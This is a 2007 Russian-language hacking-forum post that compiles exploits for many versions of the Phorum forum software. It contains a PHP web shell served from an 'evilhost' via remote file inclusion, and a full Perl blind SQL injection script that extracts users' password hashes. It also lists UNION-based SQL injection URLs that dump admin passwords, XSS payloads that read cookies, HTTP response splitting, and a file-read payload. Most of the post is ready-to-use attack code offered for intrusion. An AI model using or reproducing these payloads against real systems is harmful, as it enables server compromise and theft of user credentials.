[Взлом] Обзор уязвимостей Phorum

Тема в разделе "Статьи и Co", создана пользователем fantom-hm, 28 июн 2007.

Статус темы:
Закрыта.
  1. fantom-hm

    fantom-hm Писатель

    Заблокирован
    Регистр.:
    10 ноя 2006
    Сообщения:
    20
    Симпатии:
    16
    Phorum 3.3.2a
    Обзор:Недостаток защиты в программе позволяет удаленным пользователям включать внешние php сценарии и выполнять произвольный код и команды
    Пример:Создаем файл replace.php на сайте evilhost
    PHP код:
    <?
    system("$cmd");
    ?>

    Код:
    Перейти по ссылке[settings_dir]=http://[evilhost]&cmd=ls

    PHORUM 3.2.11
    Обзор:$f - идентификатор форума, переменная устанавливается в строке запроса. $admindir/forums/$num.php - это как раз ссылка на файл конфигурации для каждого форума; в этом файле и устанавливается переменная $ForumTableName. Так что, если просто указать ForumTableName в запросе, ее значение будет изменено. А что произойдет, если файла $admindir/forums/$num.php нет ? Будет выдан заголовок "lоcation: ...", и ... выполнение скрипта продолжится! А $ForumTableName сохранит свое значение, заданое в строке запроса.
    Пример:
    Код:
    Перейти по ссылке

    Phorum 3.4.7
    Описание:SQL инъекция обнаружена в 'include/userlogin.php' сценарии в 'phorum_uriauth' переменной
    Пример:
    Код:
    Перейти по ссылке m_uriauth=waraxe%2527%20AND%20mid(password,2,1)=3/*:foobar

    Эксплоит:
    PHP код:
    ################################################## #################################
    # Sql injection exploit for Phorum 3.4.7 #
    # #
    # For details look at Перейти по ссылке #
    # #
    # #
    ################################################## ##################################

    $remote = 'localhost'; # hostname of the target
    $port = 80; # port number, usually 80
    $url = '/phorum347'; # path to Phorum, without ending "/"
    $username = 'test'; # username, who's info we will pull out

    #-----------------------------------------------------------------------------------


    use IO::Socket;
    @chars = ('0','1','2','3','4','5','6','7','8','9','a','b',' c','d','e','f');
    $data = '';
    $md5hash = '';
    $url .= '/list.php?f=1';

    for($nr=1;$nr<33;$nr++)
    {
    for($cnt=0;$cnt<16;$cnt++)
    {
    $charx = @chars[$cnt];
    $uriauth = "$username%2527%20AND%20MID(password," . $nr . ',1)=%2527' . $charx .'%2527/*';
    $cookie = "phorum_uriauth=$uriauth";

    $data = MakeGetRequest($remote, $url ,$cookie);
    $match = isMatch($data);

    $logline = "pos --> " . $nr . " ,char for test --> " . $charx . " --> " . $match;
    print $logline . "\n";

    if($match == 1)
    {
    $md5hash .= @chars[$cnt];
    $logline = "current md5hash --> " . $md5hash;
    print $logline . "\n";
    break;
    }
    }
    }

    $logline = "Final md5hash --> " . $md5hash;
    print $logline . "\n";
    exit();




    sub MakeGetRequest()
    {
    $socket = IO::Socket::INET->new(PeerAddr => $remote,
    PeerPort => $port,
    Proto => "tcp",
    Type => SOCK_STREAM)
    or die "Couldnt connect to $remote:$port : $@\n";
    $str = "GET " . $url . " HTTP/1.0\r\n";
    print $socket $str;
    print $socket "Cookie: $cookie\r\n";
    print $socket "Host: $remote\r\n\r\n";

    $buff = "";
    while ($answer = <$socket>)
    {
    $buff .= $answer;
    }
    close($socket);
    return $buff;
    }


    sub isMatch($data)
    {
    $idx1 = index($data,"<a href=\"login.php?logout=1");

    if($idx1 > -1)
    {
    $bingo = 1;
    }
    else
    {
    $bingo = 0;
    }

    return $bingo;

    }
    Phorum 4.3.7
    Описание:Уязвимость обнаружена в Phorum. Удаленный пользователь может получить доступ к сессии других пользователей.
    Пример:
    Код:
    Перейти по ссылке 6355f4b1

    m-phorum 0.2
    Описание:
    1. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" в сценарии "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

    2. Уязвимость существует из-за недостаточной обработки входных данных в параметре "go" сценария "index.php". Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
    Пример:
    Код:
    http://victim/path/index.php?go="><script>alert(document.cookie)</script>

    Код:
    http://victim/path/index.php?go="><script>alert(/Codexploder'tq/)</script>

    Код:
    http://victim/path/index.php?go="><script>alert(document.domain)</script>

    Phorum 5.x
    Описание:Приложение некорректно фильтрует входные данные перед выполнением SQL запроса. Как следствие, удаленный атакующий может выполнить произвольный SQL код на уязвимой системе.
    Пример:
    Код:
    Перейти по ссылке,[SQL CODE HERE],newer

    Phorum 5.0.х - 5.0.12
    Обзор:переменна "$message_id" не фильтруется.
    Пример:
    Код:
    Перейти по ссылке NCAT(username%2c%27%27%2cpassword)%2c1%2c1%2c1%2c1 %2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20 phorum_users%20WHERE%20admin=1

    Phorum 5.0.12
    Описание:Уязвимость существует из-за некорректной фильтрации данных в параметре forum_id файла 'follow.php'. Удаленный атакующий может с помощью специально сформированного URL выполнить произвольный SQL код на целевом сервере.
    Пример:
    Код:
    Перейти по ссылке c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1 %2c1%2c1%2c1%2c1%2c1%2c1%21%2c1%2c1%2c1%2c1%2c1%2c 1%20FROM%20phorumusers%20WHERE%20admin=1

    Phorum 5.0.14a
    Пример:Удаленный пользователь может выполнить атаки типа "HTTP Response Splitting".
    Код:
    http://[server]/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30

    Phorum 5.0.0 – 5.0.20
    Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре “forum_ids[]” сценария “search.php”. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
    Пример:
    Код:
    Перейти по ссылке dates=30,match_forum=ALL,body=1,author=1,subject=1 ,&forum_ids[]=-99)/**/UNION/**/ALL/**/SELECT/**/1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,21,32/**/FROM/**/phorum_users/**/WHERE/**/admin=1/**/LIMIT/**/1/*

    Phorum 5.1.14
    Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре "template". Удаленный пользователь может с помощью специально сформированного URL просмотреть произвольные файлы на системе. Для удачной эксплуатации уязвимости опция "register_globals" должна быть включена, опция "magic_quotes_gpc" – отключена.
    Пример:
    Код:
    Перейти по ссылке[file]%00


    Спасибо за внимание.
     
Статус темы:
Закрыта.